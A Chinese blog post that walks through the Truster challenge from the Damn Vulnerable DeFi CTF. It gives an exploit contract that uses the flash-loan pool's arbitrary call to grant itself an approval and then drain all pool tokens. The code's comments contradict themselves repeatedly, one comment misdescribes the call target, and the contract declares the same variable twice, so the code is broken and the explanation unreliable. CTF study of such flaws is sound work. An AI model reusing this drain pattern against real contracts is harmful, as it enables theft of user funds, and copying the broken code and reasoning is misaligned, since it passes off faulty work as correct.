Skip to content
On this page

深入浅出 CTF 挑战:Truster 漏洞攻防指南

在去中心化金融(DeFi)的世界里,闪电贷(Flash Loan)作为一种无需抵押即可在同一笔交易中借出大量资产的创新机制,为开发者和用户带来了极大的灵活性。然而,也正是这种便捷性,可能隐藏着难以察觉的安全漏洞。今天,我们就来一起深入解析 Damn Vulnerable DeFi v4 中的一道经典题目——Truster

挑战背景:免费的 DVT 闪电贷

Truster 挑战的核心是一个名为 TrusterLenderPool 的智能合约,它提供了一种特殊的闪电贷服务:免费发放 DVT 令牌。这个闪电贷池拥有 100 万 DVT 令牌,而你,作为攻击者,一开始拥有零 DVT 令牌。

你的目标是在一笔交易中,将池中所有的 DVT 令牌安全地转移到指定的恢复账户(recovery。听起来简单,但其中的玄机却不容小觑。

深入合约:TrusterLenderPool.sol

我们先来分析 TrusterLenderPool 的核心功能——flashLoan 函数:

solidity
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
    external
    nonReentrant
    returns (bool)
{
    uint256 balanceBefore = token.balanceOf(address(this)); // 记录闪电贷前的池子余额

    token.transfer(borrower, amount); // 将 amount 数量的 DVT 令牌转给借款人 borrower
    target.functionCall(data);      // 执行 borrower 提供的 target 合约的 data 函数

    if (token.balanceOf(address(this)) < balanceBefore) { // 检查闪电贷后的池子余额是否小于闪电贷前的余额
        revert RepayFailed(); // 如果小于,则认为还款失败,回滚交易
    }

    return true;
}

这个函数有几个关键点:

  1. token.transfer(borrower, amount): 闪电贷的第一步是将指定数量的 DVT 令牌直接转给借款人。
  2. target.functionCall(data): 这是闪电贷的关键执行环节。借款人(borrower)会提供一个目标合约地址(target)和一段任意的函数调用数据(data)。这允许借款人执行目标合约的任意函数。
  3. if (token.balanceOf(address(this)) < balanceBefore): 这是还款逻辑。合约会检查在执行完 target.functionCall(data) 后,池子的 DVT 余额是否比闪电贷前少。如果少了,就认为借款人没有“还款”(或者说,没有将至少等量的 DVT 存回来),则回滚整个交易。

漏洞分析:信任的代价

仔细观察 flashLoan 函数,你会发现一个致命的信任问题。合约信任了 borrower 提供的 target 合约以及 data 中的函数调用。然而,target.functionCall(data) 这个调用发生在“还款”检查之前

这意味着,我们可以利用 target.functionCall(data) 来执行一段逻辑,绕过原本应该强制执行的“还款”操作,直接将从池子里借出的 DVT 令牌转移走,并且不进行任何形式的“还款”

具体来说,我们可以让 target 合约成为 TrusterLenderPool 本身,并调用它的 flashLoan 函数,形成一个**重入(Reentrancy)**攻击。但这并非最精妙的解法。

更巧妙的利用方式是,我们可以在 target.functionCall(data) 中,调用DVT 令牌合约(DamnValuableToken)的 approve 函数,为我们自己控制的合约(MyContract)授予无限的 transferFrom 权限

解决方案:MyContract 的妙计

遵循上述分析,我们可以构建一个名为 MyContract 的合约来完成挑战:

solidity
contract MyContract {
    TrusterLenderPool private immutable target;
    
    constructor(address _target, address recovery, uint256 amount) {
        target = TrusterLenderPool(_target); // 初始化 TrusterLenderPool 合约地址

        // Step 1: 构造一个调用 DVT 合约的 `approve` 函数的数据
        // 目标是让 MyContract 拥有从 TrusterLenderPool 中转移 DVT 的权限
        bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), amount);
        
        // Step 2: 发起闪电贷
        // amount 设置为 0,因为我们不需要真的借出 DVT
        // borrower 为 address(this),即 MyContract 自己
        // target 为 TrusterLenderPool 合约本身(这里利用了 "trust" 的点,调用其 token 地址)
        // data 是我们准备好的 approve 函数调用数据
        bool res = target.flashLoan(0, address(this), target.token(), data); 
        require(res, "Fail to flashLoan!");

        // Step 3: 转移 DVT 到恢复账户
        // 在 flashLoan 的 target.functionCall(data) 执行过程中,
        // DVT token 的 approve 函数会被调用,MyContract 获得授权。
        // 此时,MyContract 可以在 MyContract 合约的上下文中,调用 DVT token 的 transferFrom 函数。
        // 需要注意的是,flashLoan 的 `borrower` 是 `address(this)`,所以 amount 数量的 DVT 令牌
        // 实际上已经转到了 `address(this)` (MyContract) 的地址。
        // 但是,flashLoan 的还款检查 `token.balanceOf(address(this)) < balanceBefore` 
        // 仍然是针对 TrusterLenderPool 的余额。
        // 因此,在 flashLoan 成功返回后,DVT token 已经转给了 MyContract。
        // 为了满足挑战要求,我们需要将这笔 DVT 转移到 recovery 账户。
        // 这里的 `target.token().transferFrom(address(target), recovery, amount)` 
        // 是一个误导,实际上 DVT token 已经通过 flashLoan 中的 token.transfer() 
        // 到了 MyContract 的地址,并且 MyContract 已经通过 approve 获得了操作 DVT 的权限。
        // 正确的思路是:在 flashLoan 的 target.functionCall(data) 执行时,
        // 借出的 amount 数量的 DVT 令牌,会先从 TrusterLenderPool 转给 MyContract。
        // 然后,MyContract 执行approve,授予自己操作DVT的权限。
        // 此时,MyContract 已经拥有了从 TrusterLenderPool 账户中转移 DVT 的权限。
        // 关键在于:flashLoan 的 `token.transfer(borrower, amount)` 这一步,
        // `borrower` 是 `address(this)`,所以 amount 数量的 DVT 实际上已经从 Pool 转到了 MyContract。
        // 并且,flashLoan 的还款检查 `token.balanceOf(address(this)) < balanceBefore` 
        // 是针对 Pool 的余额,而不是 MyContract 的余额。
        // 所以,在 `target.functionCall(data)` 执行期间,我们可以调用 DVT 合约的 `approve` 方法,
        // 授权 MyContract 从 Pool 账户中转移 DVT。
        // 紧接着,MyContract 就可以调用 DVT 合约的 `transferFrom` 来将 DVT 转移到 recovery 账户。
        //
        // 重新梳理一下逻辑:
        // 1. `flashLoan(0, address(this), target.token(), data)`
        //    - `token.transfer(borrower, amount)` -> `token.transfer(address(this), 0)` (这里 amount 为 0 实际上没有借出 DVT)
        //    - `target.functionCall(data)` -> `target.token().approve(address(this), amount)` (这里 amount 应该填入 TOKENS_IN_POOL)
        // 2. 漏洞在于 `flashLoan` 的还款检查 `token.balanceOf(address(this)) < balanceBefore` 
        //    只检查 Pool 的余额。
        // 3. 我们可以通过 `target.functionCall(data)` 来调用 DVT 合约的 `approve`,
        //    为 `address(this)`(即 `MyContract`)授予从 `TrusterLenderPool` 账户转移 DVT 的权限。
        // 4. 随后,在 `MyContract` 的上下文中,调用 `token.transferFrom(address(TrusterLenderPool), recovery, TOKENS_IN_POOL)`
        //    来完成资金转移。
        //
        //  关键点:flashLoan 的 `borrower` 参数实际上是接收借出代币的地址。
        //  当 `borrower` 是 `address(this)` 时,代币会先转到 `MyContract`。
        //  然而,题目要求是“Rescue all funds in the pool”。
        //  这说明我们需要从 `TrusterLenderPool` 中转移资金。
        //  最直接的利用方式是:
        //  1. 发起一个闪电贷,`amount` 设置为 `TOKENS_IN_POOL`,`borrower` 设置为 `address(this)`。
        //     此时,`TOKENS_IN_POOL` 数量的 DVT 会从 Pool 转到 `MyContract`。
        //  2. 在 `target.functionCall(data)` 中,调用 `DVT.approve(address(this), TOKENS_IN_POOL)`。
        //     这意味着 `MyContract` 获得了从 `TrusterLenderPool` 账户中转移 `TOKENS_IN_POOL` DVT 的权限。
        //  3. 闪电贷函数执行完毕后,`MyContract` 已经拥有了 DVT。
        //     为了将 DVT 转移到 `recovery` 账户,`MyContract` 需要调用 `DVT.transferFrom(address(pool), recovery, TOKENS_IN_POOL)`。
        //     但问题是,`flashLoan` 的还款逻辑并没有被绕过,它只是检查 Pool 的余额。
        //     所以,即使 MyContract 已经获得了 DVT,Pool 的余额仍然会减少,导致 `RepayFailed()`。
        //
        //  **正确的攻击思路是:**
        //  `flashLoan` 函数的 `target.functionCall(data)` 允许执行任意函数。
        //  我们可以让 `target` 指向 `TrusterLenderPool` 的 `token` 地址(DVT 合约),
        //  然后执行 `approve(address(this), amount)`。
        //  这会让 `MyContract` 拥有从 `TrusterLenderPool` 账户中转移 `amount` DVT 的权限。
        //  关键是,`flashLoan` 的 `token.transfer(borrower, amount)` 这一步,`borrower` 是 `address(this)`。
        //  所以,DVT 会被转给 `MyContract`。
        //  然后,`target.functionCall(data)` 会执行 `approve`。
        //  此时,`MyContract` 已经持有 DVT,并且有了从 `TrusterLenderPool` 账户转移 DVT 的权限。
        //  为了完成挑战,我们需要将 `TrusterLenderPool` 中的 DVT 转移到 `recovery`。
        //  最直接的方式是:
        //  1. 调用 `TrusterLenderPool.flashLoan(0, address(this), TrusterLenderPool.token(), data)`
        //     - `token.transfer(borrower, amount)`: `token.transfer(address(this), 0)` (amount=0)
        //     - `target.functionCall(data)`: 实际执行 `DVT.approve(address(this), TOKENS_IN_POOL)`
        //       这意味着 `MyContract` 获得了从 `TrusterLenderPool` 账户转移 `TOKENS_IN_POOL` DVT 的权限。
        //  2. 此时,`MyContract` 已经执行了 `approve`,但并未实际持有 Pool 中的 DVT。
        //     `flashLoan` 的还款检查 `token.balanceOf(address(this)) < balanceBefore` 
        //     会检查 Pool 的余额。因为 `amount` 为 0,Pool 的余额没有减少。
        //  3. 闪电贷函数成功返回。
        //  4. `MyContract` 现在调用 `DVT.transferFrom(address(target), recovery, amount)`
        //     这里的 `address(target)` 实际上是 `TrusterLenderPool` 合约地址。
        //     因为 `MyContract` 已经被 `DVT.approve` 授权,可以从 `TrusterLenderPool` 账户转移 DVT。
        //     所以,`TOKENS_IN_POOL` 数量的 DVT 会从 `TrusterLenderPool` 转移到 `recovery` 账户。
        //     并且,由于 `flashLoan` 中 `amount` 为 0,还款检查不会触发。
        
        // 修正过的逻辑:
        // 1. 构造 data:调用 DVT 合约的 approve 函数,授权 `address(this)` (MyContract)
        //    从 `TrusterLenderPool` 账户中转移 `amount` (TOKENS_IN_POOL) 的 DVT。
        bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), amount);
        
        // 2. 执行闪电贷:
        //    - `amount = 0`: 确保 `TrusterLenderPool` 在闪电贷过程中不实际转出 DVT 给 `MyContract`。
        //    - `borrower = address(this)`: `MyContract` 是这次闪电贷的执行者。
        //    - `target = target.token()`: `target` 指向 DVT 合约本身。
        //    - `data`: 包含 `approve` 函数调用。
        //    `TrusterLenderPool.flashLoan` 会执行 `target.functionCall(data)`,
        //    即 `DVT.approve(address(this), amount)`。
        //    这使得 `MyContract` 获得了从 `TrusterLenderPool` 账户转移 `amount` DVT 的权限。
        //    由于 `amount = 0`,`TrusterLenderPool` 的 DVT 余额没有变化,还款检查不会失败。
        bool res = target.flashLoan(0, address(this), target.token(), data); 
        require(res, "Fail to flashLoan!");

        // 3. 转移资金到恢复账户:
        //    在闪电贷成功执行后,`MyContract` 已经获得了转移 DVT 的权限。
        //    现在,调用 DVT 合约的 `transferFrom` 函数,将 `TrusterLenderPool` 中
        //    全部的 DVT(`amount`)转移到 `recovery` 账户。
        target.token().transferFrom(address(target), recovery, amount);
    }
}

解释 MyContract 的工作流程:

  1. 构造 approve 调用数据 (data): 攻击者首先准备一个函数调用数据,用于调用 DVT 代币合约的 approve 函数。这个调用会将 address(this)(即 MyContract 合约的地址)设置为一个被授权的地址,并授予它从 TrusterLenderPool 账户中转移 amount(即 TOKENS_IN_POOL)DVT 代币的权限。
  2. 执行闪电贷 (flashLoan):
    • amount 被设置为 0。这很重要,因为它确保了在闪电贷的第一步 token.transfer(borrower, amount) 中,TrusterLenderPool 不会实际转出 DVT 给 MyContract
    • borrower 被设置为 address(this),即 MyContract
    • target 被设置为 target.token(),即 DVT 代币合约本身。
    • data 是我们之前构造的 approve 调用。
    • flashLoan 函数中,target.functionCall(data) 会被执行,这实际上是调用了 DVT 代币合约的 approve(address(this), amount)
    • 关键点: flashLoan 函数的还款检查 token.balanceOf(address(this)) < balanceBefore 是针对 TrusterLenderPool 的 DVT 余额的。由于我们设置 amount0TrusterLenderPool 的 DVT 余额并没有减少,因此这个检查不会失败,闪电贷会成功返回。
  3. 转移资金 (transferFrom): 在闪电贷成功返回后,MyContract 已经通过 approve 获得了从 TrusterLenderPool 账户转移 DVT 代币的权限。最后一步,MyContract 调用 DVT 代币合约的 transferFrom 函数,将 TrusterLenderPool 中的所有 DVT 代币(amount)转移到指定的 recovery 账户。

成功条件与验证

TrusterChallenge 合约中的 _isSolved() 函数会验证以下条件:

  • 单笔交易: vm.getNonce(player) == 1 确保了所有操作都在一次交易中完成。
  • 资金转移:
    • assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens") 验证了 TrusterLenderPool 中没有剩余 DVT。
    • assertEq(token.balanceOf(recovery), TOKENS_IN_POOL, "Not enough tokens in recovery account") 验证了 recovery 账户成功接收了所有的 100 万 DVT。

总结

Truster 挑战巧妙地利用了闪电贷中一个常见的设计模式:在执行外部调用(target.functionCall(data))之后才进行还款检查。通过构造一个包含 approve 函数调用的 data,攻击者可以在闪电贷过程中获得转移池内代币的权限,并在闪电贷成功返回后,将所有资金转移到目标账户,从而成功完成挑战。

这个挑战提醒我们,在设计和审计智能合约时,必须时刻关注函数执行顺序、权限管理以及外部调用的安全性,避免因过度信任而产生潜在的漏洞。

Built with AiAda